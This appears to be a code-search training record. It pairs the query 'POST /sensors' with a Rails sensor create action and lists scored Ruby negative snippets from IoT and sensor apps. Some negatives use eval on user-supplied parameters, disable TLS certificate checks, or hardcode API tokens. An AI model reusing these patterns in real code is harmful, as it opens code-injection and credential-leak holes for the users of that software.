"def show\n @system = System.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @system }\n end\n end",
"def forwardSensorValues\n logger.debug \"This is my params: \"+params[\"data\"][\"temperature\"].to_s\n logger.debug \"This is my params: \"+params[\"data\"][\"temperature\"].to_s\n rp = params[\"data\"][\"temperature\"].to_i + 1\n respond_to do |format|\n format.json {render :json => { :value => rp }.to_json}\n end\n if !@@sockets[params[\"serialPort\"]]\n create_socket(params[\"serialPort\"])\n end\n @@sockets[params[\"serialPort\"]].write(params[\"data\"].to_json)\n end",
"def show\n @measurement = Measurement.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @measurement }\n end\n end",
"def show\n @gauge = Gauge.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @gauge }\n end\n end",
"def show\n @energy_datum = EnergyDatum.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @energy_datum }\n end\n end",
"def show\n json_response(@device)\n end",
"def get_json\n response = @api.request(:get, @location)\n response.body if response.status == 200\n end",
"def sensor_list\n #this is making a post request by intializing the restclient gem with RestClient::Request.new to get sensors list\n #if the call is successful it provide the response.body\n #if fails and returns a 400 with the error.\n response = RestClient::Request.new({\n method: :post,\n url:\"https://api.samsara.com/v1/sensors/list?access_token=#{Rails.application.credentials.secret_key}\",\n payload:{ \"groupId\": 32780 }.to_json,\n headers: { :accept => :json, content_type: :json }\n }).execute do |response, request, result|\n case response.code\n when 400\n [ :error, (response.to_json) ]\n when 200\n [ :success, (response.to_json) ]\n else\n fail \"Invalid response #{response} received.\"\n end\n # here I setting the body to an elemnet that will be availble in the views.\n @sensor_list = response.body\n end\n end",
"def get(path, params={})\n params = merge_set_up_params(params)\n JSON.parse(Typhoeus::Request.get(API_URL + path, :params => params).body)[\"response\"]\n end",
"def create\n @sensor = Sensor.new(sensor_params)\n\n respond_to do |format|\n if @sensor.save\n flash[:success] = 'Sensor was successfully created.'\n format.html { redirect_to @sensor }\n format.json { render json: @sensor, status: :created }\n else\n format.html { render action: 'new' }\n format.json { render json: @sensor.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n @device = Device.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @device }\n end\n end",
"def show\n @device = Device.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @device }\n end\n end",
"def show\n @device = Device.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @device }\n end\n end",
"def show\n @energy_level = EnergyLevel.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @energy_level }\n end\n end",
"def get_voltage\n send_request(FUNCTION_GET_VOLTAGE, [], '', 2, 'S')\n end",
"def show\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @device }\n end\n end",
"def show\n if @misuration_subscription.user.id!=current_user.id\n respond_to do |format|\n @misuration_subscription = MisurationSubscription.new\n @m=Array.new\n MisurationSubscription.where(\"user_id=?\",current_user.id).each do |m|\n @m.push(m.sensor_id)\n end\n @availablesensors=Sensor.all.where(\"public=true and user_id !=?\",current_user.id).where.not(id: @m)\n format.html { render :new }\n format.json { render json: @misuration_subscription.errors, status: :unprocessable_entity }\n end\n end\n end",
"def forward_json(reading_json)\n #uri = URI.parse(\"http://cmu-sensor-network.herokuapp.com/sensors\")\n uri = URI.parse(\"http://209.129.244.9/sensors\")\n post_json_request = Net::HTTP::Post.new(uri.request_uri)\n post_json_request.add_field(\"Content-Type\", \"application/json\")\n post_json_request.body = reading_json\n http = Net::HTTP::new(uri.host, uri.port)\n response = http.request(post_json_request)\n return response\n end",
"def index\n @therm_resources = ThermResource.all\n end",
"def series_get(id)\n begin\n api = \"#{$config['sonarr']['api_url']}/series/#{id}\"\n log_debug(api)\n uri = URI(api)\n http = Net::HTTP.new(uri.host, uri.port)\n req = Net::HTTP::Post.new(uri.path, 'Content-Type' => 'application/json', 'X-Api-Key'=> $config['sonarr']['api_key'])\n \n json = {}\n json['id'] = id\n \n req.body = json.to_json\n res = http.request(req) \n json = JSON.parse(res.body)\n debug json\n rescue => e\n puts \"failed #{e}\"\n end\n end",
"def update\n if @sensor.update(sensor_params)\n render json: { status: :ok }\n else\n render json: { status: :unprocessable_entity }\n end\n end",
"def show\n render json: @heartbeat\n end",
"def sensor\n options[:sensor] || Config.sensor\n end",
"def show\n @reading = Reading.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @reading }\n end\n end",
"def get_temperature\n Rails.logger.debug(\"get_temperature\")\n result = Status::UNKNOWN\n begin\n result = temperature_sensor.get_value\n Rails.logger.debug(\"result = #{result}\")\n rescue => exception\n Rails.logger.info(\"get_temperature error: \\n = #{exception}\")\n end\n result\n end",
"def set_sensor\n @sensor = Sensor.find_by!(serial_id: params[:serial_id])\n end",
"def show\n @thermometer.make_temp.to_json\n end",
"def get_json()\n\n http = Net::HTTP.new(STATUS_URI.host, STATUS_URI.port)\n http.use_ssl = false\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n\n request = Net::HTTP::Get.new(\"/api/services.json\")\n\n response = http.request(request)\n JSON.parse(response.body)\nend",
"def index\n @humidity_readings = HumidityReading.all\n end",
"def set_sensor_data\n @sensor_data = SensorData.find(params[:id])\n end",
"def index\n @usages = get_usages\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @usages }\n end\n end",
"def index\n @vehicle_realtimes = VehicleRealtime.all\n \n respond_to do |format|\n format.html\n format.json { render :json => @vehicle_realtimes.to_json(:include => [:vehicle_trip, :vehicle_route, :vehicle_stop]) }\n end\n end",
"def index\n @hardware_types = HardwareType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @hardware_types }\n end\n end",
"def polling\n @locations = Location.where(\"picture IS NOT NULL\").group('vehicle_id').order('location_timestamp desc')\n render :json => {\"vehicles\"=>@locations }\n end",
"def room_descriptions_method\r\n my_port = 8081\r\n htttproomnumber = $roomnumber\r\n roomsNtext = \"/#{htttproomnumber}\"\r\n rooms_message = \"/rooms#{roomsNtext}\"\r\n url = URI.parse(\"http://localhost:#{my_port}#{rooms_message}\")\r\n req = Net::HTTP::Get.new(url.to_s)\r\n res = Net::HTTP.start(url.host, url.port){|http|\r\n http.request(req)\r\n }\r\n my_json = JSON.parse(res.body) \r\n return my_json[\"room\"].to_s\r\nend",
"def live_look\n ids = params[:device_ids].split(',')\n if ids.empty?\n flash[:warning] = \"Please select at least one vehicle to view on the map.\"\n redirect_to devices_path\n return\n end\n\n @devices = current_user.devices\n @device_ids = params[:device_ids]\n\n respond_to do |format|\n format.html\n format.json {\n render :json => @devices.to_json(\n :methods => [:color, :connected],\n :include => {\n :position => {\n :methods => :time_of_day\n } \n }\n )\n }\n end\n end",
"def set_sensor_reading\n\t\t\t\t@sensor_reading = SensorReading.find(params[:id])\n\t\t\tend",
"def get(path, params={})\n params = merge_set_up_params(params)\n @token = \"b3688c52-9235-45ca-b01f-c5b2b83a4f4f\"\n @result = Typhoeus::Request.get(API_URL + path, :params => params,\n :headers => {\"Authorization\" => \"Basic#{@token}\"})\n puts @result.body\n # check if the url looks correct in the log\n puts @result.effective_url\n # parse the result to json\n return JSON.parse(@result.body)\n end",
"def index\n @lights = Light.all\n\n render json: @lights\n end",
"def create\n @sensor = Sensor.new(sensor_params)\n @snum = @sensor.number\n @spin = @sensor.pin\n @stype = @sensor.sensor_type\n if @stype == \"DHT\"\n eval(\"$sensor#{@snum}temp = Dino::Components::DHT::Temperature.new(pin: @spin, board: Gardino::Application.config.board)\")\n eval(\"$sensor#{@snum}humidity = Dino::Components::DHT::Humidity.new(pin: @spin, board: Gardino::Application.config.board)\")\n end\n respond_to do |format|\n if @sensor.save\n format.html { redirect_to @sensor, notice: 'Sensor was successfully created.' }\n format.json { render action: 'show', status: :created, location: @sensor }\n else\n format.html { render action: 'new' }\n format.json { render json: @sensor.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n #getting measurements only that belong to current user account\n beehives = Beehive.where(user_id: current_user.id)\n @measurements = Array.new\n beehives.each do |beehive|\n beehive.sensors.each do |sensor|\n (@measurements << sensor.measurements).flatten!\n end\n end\n end",
"def show\n @versions = @arduino.versions\n @sensors = @arduino.sensors\n end",
"def get_sensor_statuses\n response = @db_client.query( \"SELECT name,status,updated_time,enabled,type,dismiss,verbose FROM #{SENSOR_STATUS}\" )\n return response.entries\n end"
] | [
"0.75594866",
"0.73599404",
"0.70769614",
"0.69845426",
"0.69219834",
"0.6740585",
"0.67015606",
"0.66519785",
"0.6593406",
"0.6536577",
"0.65242946",
"0.6498031",
"0.6487837",
"0.63183373",
"0.6308647",
"0.6243648",
"0.62109596",
"0.6196243",
"0.61792016",
"0.6174209",
"0.61402035",
"0.6104225",
"0.6026489",
"0.60172254",
"0.60055363",
"0.596461",
"0.5961204",
"0.591676",
"0.59121805",
"0.5885212",
"0.5861696",
"0.58169043",
"0.58169043",
"0.58169043",
"0.58169043",
"0.58169043",
"0.58169043",
"0.5802243",
"0.58014905",
"0.57860845",
"0.57858294",
"0.5760942",
"0.57227576",
"0.57146573",
"0.570813",
"0.570035",
"0.565177",
"0.5651048",
"0.56475186",
"0.5647159",
"0.564392",
"0.5640657",
"0.5638489",
"0.56212664",
"0.56000954",
"0.5598691",
"0.55807096",
"0.55634004",
"0.5550844",
"0.55409676",
"0.5528866",
"0.55267745",
"0.5523824",
"0.5517183",
"0.55026877",
"0.5484581",
"0.54802394",
"0.5473582",
"0.5465906",
"0.5465906",
"0.5465906",
"0.54586154",
"0.5450924",
"0.544788",
"0.5443801",
"0.5437737",
"0.54311985",
"0.5429148",
"0.5417572",
"0.54067934",
"0.5402047",
"0.54018474",
"0.5400371",
"0.53974026",
"0.53787047",
"0.53735477",
"0.53669935",
"0.5357753",
"0.53554827",
"0.53506064",
"0.53496397",
"0.53472847",
"0.534056",
"0.53326964",
"0.53286266",
"0.53276783",
"0.5326661",
"0.5322603",
"0.53181666",
"0.5317307",
"0.53150517"
] | 0.0 | -1 |
POST /sensors POST /sensors.json | def create
@sensor = Sensor.new(sensor_params)
@sensor.user_id=current_user.id
respond_to do |format|
if @sensor.save
format.html { redirect_to @sensor, notice: 'Sensore creato correttamente' }
format.json { render :show, status: :created, location: @sensor }
else
format.html { render :new }
format.json { render json: @sensor.errors, status: :unprocessable_entity }
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def create\n @sensor = Sensor.new(sensor_params)\n\n respond_to do |format|\n if @sensor.save\n format.html { redirect_to @sensor, notice: 'Sensor was successfully created.' }\n format.json { render json: @sensor, status: :created }\n else\n format.html { render action: 'new' }\n format.json { render json: @sensor.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @sensor = Sensor.new(sensor_params)\n\n respond_to do |format|\n if @sensor.save\n flash[:success] = 'Sensor was successfully created.'\n format.html { redirect_to @sensor }\n format.json { render json: @sensor, status: :created }\n else\n format.html { render action: 'new' }\n format.json { render json: @sensor.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @sensor = Sensor.new(user: current_user)\n\n respond_to do |format|\n if @sensor.save\n format.html { redirect_to sensors_path, notice: t(:sensor_created) }\n format.json { render :show, status: :created, location: @sensor }\n else\n format.html { render :new }\n format.json { render json: @sensor.errors, status: :unprocessable_entity }\n end\n end\n end",
"def postReadings(info, state)\r\n params = {\r\n :device_id => info.deviceId,\r\n :sensor_data => [\r\n {\r\n :type => \"Temperature\",\r\n :value => state.temperature,\r\n :time => Time.now.to_i\r\n },\r\n {\r\n :type => \"Humidity\",\r\n :value => state.humidity,\r\n :time => Time.now.to_i\r\n }\r\n ]\r\n }\r\n res = apiPostJson(\"readings\", params)\r\n if res.status != 201\r\n $LOG.warn(\"Failed to post readings to backend! Status: #{res.status}, Response: #{res.body}\")\r\n end\r\n end",
"def create\n @temperature_sensor = TemperatureSensor.new(params[:temperature_sensor])\n\n respond_to do |format|\n if @temperature_sensor.save\n format.html { redirect_to @temperature_sensor, :notice => 'Temperature sensor was successfully created.' }\n format.json { render :json => @temperature_sensor, :status => :created, :location => @temperature_sensor }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @temperature_sensor.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @sensor_data = SensorData.new(sensor_data_params)\n\n respond_to do |format|\n if @sensor_data.save\n format.html { redirect_to @sensor_data, notice: 'Sensor data was successfully created.' }\n format.json { render :show, status: :created, location: @sensor_data }\n else\n format.html { render :new }\n format.json { render json: @sensor_data.errors, status: :unprocessable_entity }\n end\n end\n end",
"def sensor_params\n params.require(:sensor).permit(:name, :location, :value)\n end",
"def create\n @sensor = Sensor.new(sensor_params)\n @snum = @sensor.number\n @spin = @sensor.pin\n @stype = @sensor.sensor_type\n if @stype == \"DHT\"\n eval(\"$sensor#{@snum}temp = Dino::Components::DHT::Temperature.new(pin: @spin, board: Gardino::Application.config.board)\")\n eval(\"$sensor#{@snum}humidity = Dino::Components::DHT::Humidity.new(pin: @spin, board: Gardino::Application.config.board)\")\n end\n respond_to do |format|\n if @sensor.save\n format.html { redirect_to @sensor, notice: 'Sensor was successfully created.' }\n format.json { render action: 'show', status: :created, location: @sensor }\n else\n format.html { render action: 'new' }\n format.json { render json: @sensor.errors, status: :unprocessable_entity }\n end\n end\n end",
"def forwardSensorValues\n logger.debug \"This is my params: \"+params[\"data\"][\"temperature\"].to_s\n logger.debug \"This is my params: \"+params[\"data\"][\"temperature\"].to_s\n rp = params[\"data\"][\"temperature\"].to_i + 1\n respond_to do |format|\n format.json {render :json => { :value => rp }.to_json}\n end\n if !@@sockets[params[\"serialPort\"]]\n create_socket(params[\"serialPort\"])\n end\n @@sockets[params[\"serialPort\"]].write(params[\"data\"].to_json)\n end",
"def sensor_params\n params.require(:sensor).permit(:name, :sensor_type, :pin, :number, :last_reading, :description)\n end",
"def sensor_params\n params.require(:sensor).permit(:voltage, :opened)\n end",
"def create\n\n @measurement = Measurement.new(measurement_params)\n\n respond_to do |format|\n if @measurement.save\n format.html { redirect_to @measurement, notice: 'Measurement was successfully created.' }\n format.json { render json: @measurement.sensor.beehive, status: :created }\n else\n format.html { render :new }\n format.json { render json: @measurement.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @tank = @user.tanks.find(params[:tank_id])\n sensor = Sensor.find(params[:reading][:sensor_id])\n @reading = ReadingService.create_manual_reading(@user, sensor, params[:reading][:date], params[:hour], params[:minute], params[:value])\n respond_to do |format| \n if @reading.save!\n format.js { }\n else\n format.js { render json: @reading.errors, status: :unprocessable_entity }\n end\n end\n end",
"def forward_json(reading_json)\n #uri = URI.parse(\"http://cmu-sensor-network.herokuapp.com/sensors\")\n uri = URI.parse(\"http://209.129.244.9/sensors\")\n post_json_request = Net::HTTP::Post.new(uri.request_uri)\n post_json_request.add_field(\"Content-Type\", \"application/json\")\n post_json_request.body = reading_json\n http = Net::HTTP::new(uri.host, uri.port)\n response = http.request(post_json_request)\n return response\n end",
"def create\n @sensor_datum = SensorDatum.new(sensor_datum_params)\n\n create_save(@sensor_datum, \"Sensor datum\")\n end",
"def update\n if @sensor.update(sensor_params)\n render json: { status: :ok }\n else\n render json: { status: :unprocessable_entity }\n end\n end",
"def sensor_params\n params.require(:sensor).permit(:mac, :url, :tipo, :latitudine, :longitudine, :unit_misura, :public, :downtime_to_alarm, :last_firmware_update, :image)\n end",
"def sensor_params\n params.require(:sensor).permit(:name, :description, :model)\n end",
"def create\n\t @sensor = Sensor.find(params[:sensor_id])\n @reading = @sensor.readings.build(params[:reading].each_value(&:strip!))\n\n respond_to do |format|\n if @reading.save\n format.html { redirect_to sensor_reading_url(@sensor, @reading) }\n\t\tformat.js\n format.xml { render :xml => @reading, :status => :created, :location => @reading }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @reading.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @sensor_event_action = SensorEventAction.new(sensor_event_action_params)\n\n respond_to do |format|\n if @sensor_event_action.save\n format.html { redirect_to @sensor_event_action, notice: 'Sensor event action was successfully created.' }\n format.json { render :show, status: :created, location: @sensor_event_action }\n else\n format.html { render :new }\n format.json { render json: @sensor_event_action.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @sensor = Sensor.find(params[:id])\n\n if @sensor.update(params[:sensor])\n head :no_content\n $redis.publish('sensors.update', { :name => @sensor.name, :value => @sensor.value, :id => @sensor.id}.to_json)\n else\n render json: @sensor.errors, status: :unprocessable_entity\n end\n end",
"def list\n owner.json_api_command('sensor', nil, '-l')&.fetch(:sensors)\n end",
"def sensor\n Sensor.initialize_from_path(path: \"#{resource_path}/sensor\", client: @client)\n end",
"def sensor_params\n params.require(:sensor).permit(:name, :sensor_module_id)\n end",
"def sensor_params\n params.permit(:hostname, :name, :description, :min, :max, :latitude, :longitude)\n end",
"def sensor_params\n params[:sensor][:unit] = params[:sensor][:unit].to_i\n params[:sensor][:kind] = params[:sensor][:kind].to_i\n params[:sensor][:type_of_graph] = params[:sensor][:type_of_graph].to_i\n params[:sensor][:notification] = params[:sensor][:notification].to_i\n params[:sensor][:notification_value] = params[:sensor][:notification_value].to_i\n if params[:sensor][:public] == \"on\"\n params[:sensor][:public] = true\n else\n params[:sensor][:public] = false\n end\n params.require(:sensor).permit(:name, :unit, :kind, :type_of_graph, :public, :notification, :notification_value)\n end",
"def new\n @temperature_sensor = TemperatureSensor.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @temperature_sensor }\n end\n end",
"def sensor_params\n params.require(:sensor).permit(:sampling_period, :sending_period, :day_cost, :night_cost, :day_start_time, :night_start_time)\n end",
"def index\n @sensors = Sensor.all\n\n s = []\n for sensor in @sensors \n s.push( {:name => sensor.name, :value => sensor.value, :id => sensor.id} )\n end\n render json: s\n end",
"def show\n sensorType = params[:sensor_type]\n id = params[:id]\n since = params[:since]\n\n table = getSensorTable(sensorType)\n if table == nil\n # raise ActionController::RoutingError.new('Unrecognized Sensor')\n # TODO remove this once testing is done\n r = Random.new\n data = [{sensor_reading: (1 + r.rand(500)/100.0) ,\"timestamp\": Time.now}]\n else\n data = table.where([\"device_id = ? and timestamp > ?\", id, since]).select(\"timestamp, sensor_reading\")\n end\n\n respond_to do |format|\n format.json do\n render json: data\n end\n end\n end",
"def create\n data = []\n trace_params.each do |p|\n hash = {\n latitude: p[\"latitude\"],\n longitude: p[\"longitude\"]\n }\n data << hash\n end\n\n if Trace.upload_data(data)\n render json: {status: 'OK'}\n else\n render json: @trace.errors, status: :unprocessable_entity\n end\n end",
"def sensor_datum_params\n params.require(:sensor_datum).permit(:sensor_find_id, :timestamp, :data)\n end",
"def sensor_params\n params.require(:sensor).permit(:title, :description, :chart_type, sensor_accesses_attributes: [:id, :user_id, :access_level, :_destroy])\n end",
"def sensors\r\n SensorsController.instance\r\n end",
"def index\n @sensors = SensorModule.find_by(id: params[:sensor_module_id]).sensors || Sensor.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @sensors }\n end\n end",
"def senses\n brain = Brain.where(\"lower(address) = ?\", params[:address].downcase).first\n\n sensor = Sensor.where(\"lower(address) = ? and brain_id = ?\", params[:sensor_addr].downcase, brain.id).first\n params[:payload] &&= {message: params[:payload]} # This is a really stupid hack to work around my own stupidity but I'm far too tired to care\n sensor.save_data(params[:payload]) if sensor && params[:payload]\n\n head :ok # return empty 200 response\n end",
"def post(json)\n with_endpoint do |endpoint|\n url = [endpoint, @resource_name].compact.join('/')\n url += \"/\"\n return HTTParty.post(url, :body => json, :timeout => 4, :headers => { 'Content-Type' => 'application/json' })\n end\n end",
"def index\n @sensors = Sensor.all\n end",
"def sensor_reading_params\n\t\t\t\tparams.require(:sensor_reading).permit(:type, :value)\n\t\t\tend",
"def sensorread\n @sensor = Sensor.find(params[:id])\n @snum = @sensor.number\n @stype = @sensor.sensor_type\n if @stype == \"DHT\"\n \n eval(\"$sensor#{@snum}temp\").read do |temperature|\n @stempread = \"#{temperature}\"\n end\n sleep 2\n eval(\"$sensor#{@snum}humidity\").read do |humidity|\n @shumidityread = \"#{humidity}\"\n end\n @sensor.last_reading = \"Temp:#{@stempread}C Humidity:#{@shumidityread}%\"\n @sensor.save\n end\n @sensors = Sensor.all\n respond_to do |format|\n format.js\n end\n end",
"def index\n return redirect_to '/users/sign_in' unless user_signed_in?\n @sensors = current_user.sensors\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @sensors }\n end\n end",
"def transmit_data\n body = {body: {datum:{data_type:\"float\", value: rand, virtual_entity_id: 1}}}\n self.class.post(API+'/data', body)\n end",
"def create\n @accelerometer = Accelerometer.new(accelerometer_params)\n\n respond_to do |format|\n if @accelerometer.save\n format.html { redirect_to @accelerometer, notice: 'Accelerometer was successfully created.' }\n format.json { render action: 'show', status: :created, location: @accelerometer }\n else\n format.html { render action: 'new' }\n format.json { render json: @accelerometer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_sensor\n @sensor = Sensor.find(params[:id])\n end",
"def set_sensor\n @sensor = Sensor.find(params[:id])\n end",
"def set_sensor\n @sensor = Sensor.find(params[:id])\n end",
"def set_sensor\n @sensor = Sensor.find(params[:id])\n end",
"def set_sensor\n @sensor = Sensor.find(params[:id])\n end",
"def set_sensor\n @sensor = Sensor.find(params[:id])\n end",
"def bus_sensor_params\n params.require(:bus_sensor).permit(:line, :subline, :direction, :alive, :location_index)\n end",
"def set_sensor\n @sensor = Sensor.find_by!(serial_id: params[:serial_id])\n end",
"def create\n @standard_measurement = StandardMeasurement.new(params[:standard_measurement])\n\n respond_to do |format|\n if @standard_measurement.save\n format.html { redirect_to @standard_measurement, notice: 'Standard measurement was successfully created.' }\n format.json { render json: @standard_measurement, status: :created, location: @standard_measurement }\n else\n format.html { render action: \"new\" }\n format.json { render json: @standard_measurement.errors, status: :unprocessable_entity }\n end\n end\n end",
"def get_sensor_information(sensorkey)\n skeys = skey_forming(sensorkey)\n return nil if skeys.empty?\n\n endpoint = \"/api/sensor_info\"\n req = { \"mailaddress\" => @mailaddress,\n \"data\" => skeys\n }\n jsonstr = @webreq.post(req, endpoint)\n response = JSON.parse(jsonstr)\n return response[\"data\"] \n end",
"def sensor_data_params\n params.require(:sensor_data).permit(:user_id_id, :position, :time, :measurement)\n end",
"def create\n @barometer = Barometer.new(barometer_params)\n\n respond_to do |format|\n if @barometer.save\n format.html { redirect_to @barometer, notice: 'Barometer was successfully created.' }\n format.json { render :show, status: :created, location: @barometer }\n else\n format.html { render :new }\n format.json { render json: @barometer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @new_biosensor = NewBiosensor.new(new_biosensor_params)\n\n respond_to do |format|\n if @new_biosensor.save\n format.html { redirect_to @new_biosensor, notice: 'New biosensor was successfully created.' }\n format.json { render :show, status: :created, location: @new_biosensor }\n else\n format.html { render :new }\n format.json { render json: @new_biosensor.errors, status: :unprocessable_entity }\n end\n end\n end",
"def measurement_params\n params.require(:measurement).permit(:temperature, :humidity, :lightLevel, :device_id)\n end",
"def create\n @energy_datum = EnergyDatum.new(params[:energy_datum])\n\n respond_to do |format|\n if @energy_datum.save\n format.html { redirect_to @energy_datum, notice: 'Energy datum was successfully created.' }\n format.json { render json: @energy_datum, status: :created, location: @energy_datum }\n else\n format.html { render action: \"new\" }\n format.json { render json: @energy_datum.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @vehicle_realtime = VehicleRealtime.new(vehicle_realtime_params)\n\n respond_to do |format|\n if @vehicle_realtime.save\n format.html { redirect_to @vehicle_realtime, notice: 'Vehicle realtime was successfully created.' }\n format.json { render :show, status: :created, location: @vehicle_realtime }\n else\n format.html { render :new }\n format.json { render json: @vehicle_realtime.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n value = if params['value']\n if params['value'] =~ /\\A[0-9]+\\z/\n params['value'].to_i\n else\n params['value'].to_f\n end\n else\n params['value']\n end\n\n cmd = \"/usr/bin/env ruby #{Rails.root}/lib/simsim/cmd #{params['event_socket']} #{params['kind']} #{params['name']} #{value}\"\n\t\t`#{cmd}`\n respond_to do |format|\n format.json{ render :json => {} }\n end\n end",
"def create\n @hardware = Hardware.new(params[:hardware])\n\n respond_to do |format|\n if @hardware.save\n format.html { redirect_to @hardware, :notice => 'Hardware was successfully created.' }\n format.json { render :json => @hardware, :status => :created, :location => @hardware }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @hardware.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def sensor_list\n #this is making a post request by intializing the restclient gem with RestClient::Request.new to get sensors list\n #if the call is successful it provide the response.body\n #if fails and returns a 400 with the error.\n response = RestClient::Request.new({\n method: :post,\n url:\"https://api.samsara.com/v1/sensors/list?access_token=#{Rails.application.credentials.secret_key}\",\n payload:{ \"groupId\": 32780 }.to_json,\n headers: { :accept => :json, content_type: :json }\n }).execute do |response, request, result|\n case response.code\n when 400\n [ :error, (response.to_json) ]\n when 200\n [ :success, (response.to_json) ]\n else\n fail \"Invalid response #{response} received.\"\n end\n # here I setting the body to an elemnet that will be availble in the views.\n @sensor_list = response.body\n end\n end",
"def measurement_params\n params.require(:measurement).permit(:value, :datetime, :sensor_id)\n end",
"def reading_params\n params.require(:reading ).permit(:sensor_id, :tank_id, :date)\n end",
"def create\n weather_datum = WeatherDatum.new(weather_datum_params)\n weather_datum.set_sensor_id(request.headers['Authorization'].match(/(Token token=)(.*)/)[2])\n sent = false\n\n if weather_datum.save\n\n if weather_datum.temp > weather_datum.sensor.trigger_temp_max\n\n if Notification.last_notification_status(weather_datum.sensor)\n recipients = []\n notification = Notification.new message: \"Temperature Alert: #{weather_datum.temp}F @ #{weather_datum.location}!\",\n weather_datum_id: weather_datum.id,\n sensor_id: weather_datum.sensor.id,\n contacts: []\n\n Email.all.each do |e|\n e.sensors.each do |id|\n if ( Sensor.find(id).location == weather_datum.location )\n notification.contacts << e.email\n # SensorMailer.temp_email(e.email, l, data.temp, data.humidity).deliver_now\n recipients << e.email\n end\n end\n end\n sent = true\n notification.save!\n\n end\n end\n\n render json: {status: \"Record was created!\", notification: sent}\n else\n render json: {status: \"Record wasn't created!\", errors: weather_datum.errors}\n end\n end",
"def update id, rssi, status, battery\n unless @sensors[id]\n @sensors[id] = Sensor.new(id)\n end\n @sensors[id].rssi = rssi\n @sensors[id].name = \"GSS_13M_??\"\n @sensors[id].group = \"GSS_13M\"\n @sensors[id].updated_time = Time.now\n @sensors[id].last_press_time = Time.now if status == 1\n @sensors[id].battery = battery\n end",
"def temperature_log_params\n params.require(:temperature_log).permit(:sensor_id, :value, :date_time)\n end",
"def create\n @humidity_reading = HumidityReading.new(humidity_reading_params)\n\n respond_to do |format|\n if @humidity_reading.save\n format.html { redirect_to @humidity_reading, notice: 'Humidity reading was successfully created.' }\n format.json { render :show, status: :created, location: @humidity_reading }\n else\n format.html { render :new }\n format.json { render json: @humidity_reading.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @device = Device.create!(device_params)\n json_response(@device, :created)\n end",
"def add_weather_by_rest(auth,weather_json)\n rest_agent=RestClient::Resource.new(\"http://#{auth[:host]}:#{auth[:port]}/#{auth[:reststr]}/ry/weather\")\n rest_agent.post(weather_json, :content_type=>\"application/json;charset=utf-8\")\n end",
"def new\n\t @sensor = Sensor.find(params[:sensor_id])\n @reading = @sensor.readings.build\n\n# respond_to do |format|\n# format.html # new.html.erb\n# format.xml { render :xml => @reading }\n# end\n end",
"def set_sensor_data\n @sensor_data = SensorData.find(params[:id])\n end",
"def create\n @meteo_datum = MeteoDatum.new(meteodatum_params)\n @meteo_datum.weather_station_id = params[:weather_station_id]\n\n if @meteo_datum.save\n render json: @meteo_datum, status: :created\n else\n render json: @meteo_datum.errors, status: :unprocessable_entity\n end\n end",
"def create\n @iot_datum = IotDatum.new(iot_datum_params)\n\n respond_to do |format|\n if @iot_datum.save\n format.html { redirect_to @iot_datum, notice: 'Iot datum was successfully created.' }\n format.json { render :show, status: :created, location: @iot_datum }\n else\n format.html { render :new }\n format.json { render json: @iot_datum.errors, status: :unprocessable_entity }\n end\n end\n end",
"def add_weather_by_rest(auth,weather_json)\n rest_agent=RestClient::Resource.new(\"http://#{auth[:host]}:#{auth[:port]}/#{auth[:reststr]}/ry/weather\")\n rest_agent.post(weather_json, :content_type=>\"application/json;charset=utf-8\")\n end",
"def create\n @spi = Spi.new(spi_params)\n\n respond_to do |format|\n if @spi.save\n format.html { redirect_to @spi, notice: 'Spi was successfully created.' }\n format.json { render :show, status: :created, location: @spi }\n else\n format.html { render :new }\n format.json { render json: @spi.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n seth_server_rest.post_rest(\"data\", self)\n self\n end",
"def create\n @energy = Energy.new(params[:energy])\n\n respond_to do |format|\n if @energy.save\n format.html { redirect_to @energy, notice: 'Energy was successfully created.' }\n format.json { render json: @energy, status: :created, location: @energy }\n else\n format.html { render action: \"new\" }\n format.json { render json: @energy.errors, status: :unprocessable_entity }\n end\n end\n end",
"def sensor\n @sensor ||= TermuxRubyApi::SubSystems::Sensor.new(self)\n end",
"def get_sensors_list(sensors)\n # convert from symbols to IDs\n sensors.map! do |sensor|\n if sensor.is_a?(Symbol)\n SENSOR_SYMBOLS.find_index(sensor)\n else\n sensor\n end\n end\n\n # request sensor data!\n request = [Constants::QUERY_LIST, sensors.length] + sensors\n write_chars(request)\n\n raw_data = \"\"\n sensors.each do |id|\n raw_data << @serial.read(SENSOR_PACKET_SIZE[id])\n end\n\n sensor_bytes_to_packets(raw_data, sensors)\n end",
